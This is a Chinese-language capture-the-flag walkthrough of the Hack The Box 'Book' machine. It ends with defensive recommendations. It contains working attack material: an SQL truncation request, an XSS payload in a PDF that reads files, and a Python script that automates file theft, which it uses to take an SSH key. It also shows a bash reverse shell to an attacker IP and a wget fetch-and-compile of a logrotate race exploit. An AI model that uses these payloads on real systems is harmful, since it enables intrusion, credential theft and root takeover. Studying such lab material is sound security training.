[Meachines] [Medium] Book SQLTA+PDF-XSS-File_Read+TRP00F 自动化权限提升+logrotate条件竞争权限提升
字数 1077 2025-08-20 18:18:17
SQL截断攻击与权限提升技术详解
1. 信息收集阶段
1.1 基础扫描
使用nmap进行端口扫描:
nmap -p- 10.10.10.176 --min-rate 1000 -sC -sV
发现开放端口:
- 22/tcp: OpenSSH 7.6p1 Ubuntu
- 80/tcp: Apache httpd 2.4.29 (Ubuntu)
1.2 Web目录扫描
使用feroxbuster进行目录扫描:
feroxbuster --url http://10.10.10.176
发现重要路径:http://10.10.10.176/admin
2. SQL截断攻击(SQL Truncation Attack)
2.1 攻击原理
SQL截断攻击利用数据库字段长度限制,通过输入特定长度的数据导致数据库截断输入,从而绕过身份验证或获得管理员权限。
2.2 攻击步骤
- 发现注册时admin@book.htb已存在
- 尝试在邮箱后添加空格和点:
name=admin%40book.htb&email=admin%40book.htb++++++.&password=123456 - 确定数据库最大字符串长度为20,当"."位于第21位时被删除
- 成功以管理员身份登录
http://10.10.10.176/admin
3. PDF-XSS文件读取漏洞
3.1 漏洞发现
在collection.php中发现PDF上传功能,测试XSS注入点:
<p id="test">vu</p><script>document.getElementById('test').innerHTML+='ln'</script>
3.2 文件读取利用
构造XSS payload读取文件:
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>
3.3 自动化利用脚本
#!/usr/bin/python3
import requests
from cmd import Cmd
from tika import parser
class Terminal(Cmd):
# 初始化会话等代码...
def default(self, args):
files = {'Upload': ('file.pdf', 'dummy data', 'application/pdf')}
values = {
'title': '<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file://' + args + '");x.send();</script>',
'author': '0xdf',
'Upload': 'Upload'
}
# 上传PDF并获取结果...
4. 权限提升技术
4.1 获取SSH私钥
通过文件读取获取/home/reader/.ssh/id_rsa:
$ python3 exp.py book> /home/reader/.ssh/id_rsa
4.2 TRP00F自动化权限提升
使用TRP00F工具:
$ python3 trp00f.py --lhost 10.10.16.24 --lport 10000 --rhost 10.10.16.24 --rport 10001 --http 1111
4.3 logrotate条件竞争漏洞
4.3.1 漏洞发现
通过pspy32发现root每5秒执行/root/log.sh和logrotate
4.3.2 漏洞利用
- 准备payload:
echo -e '#!/bin/bash\nbash -c "/bin/bash -i >& /dev/tcp/10.10.16.24/10033 0>&1" &'>shell.sh
chmod +x shell.sh
- 编译利用工具:
wget http://10.10.16.24/logrotten.c
gcc -o logrotten logrotten.c
chmod +x logrotten
- 执行攻击:
echo test >> /home/reader/backups/access.log;sleep 1;./logrotten -d -p shell.sh /home/reader/backups/access.log
4.3.3 漏洞原理
logrotate存在竞争条件,攻击者可以在logrotate重命名日志文件后,将日志目录替换为指向其他位置的符号链接,导致root在任意目录创建文件。
5. 关键文件内容
5.1 获取的用户凭据
- User.txt:
8bdb753f4a753405e4508285c19a84c2 - Root.txt:
aae4b4b5c5603ef3e0d4c4a37345851f
5.2 SSH私钥
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
[...省略部分内容...]
e3N0cm9rZTojMDAwO3N0cm9rZS13aWR0aDowLjU7fQogICAgPC9zdHlsZT4KPC9z
dmc+Cg==
-----END RSA PRIVATE KEY-----
6. 防御建议
-
SQL截断防御:
- 实施输入验证和长度限制
- 使用预处理语句
- 对用户输入进行适当转义
-
XSS防御:
- 实施内容安全策略(CSP)
- 对用户输入进行HTML编码
- 禁用PDF中的JavaScript执行
-
权限提升防御:
- 确保日志目录权限正确设置
- 使用su选项配置logrotate
- 定期更新系统和软件包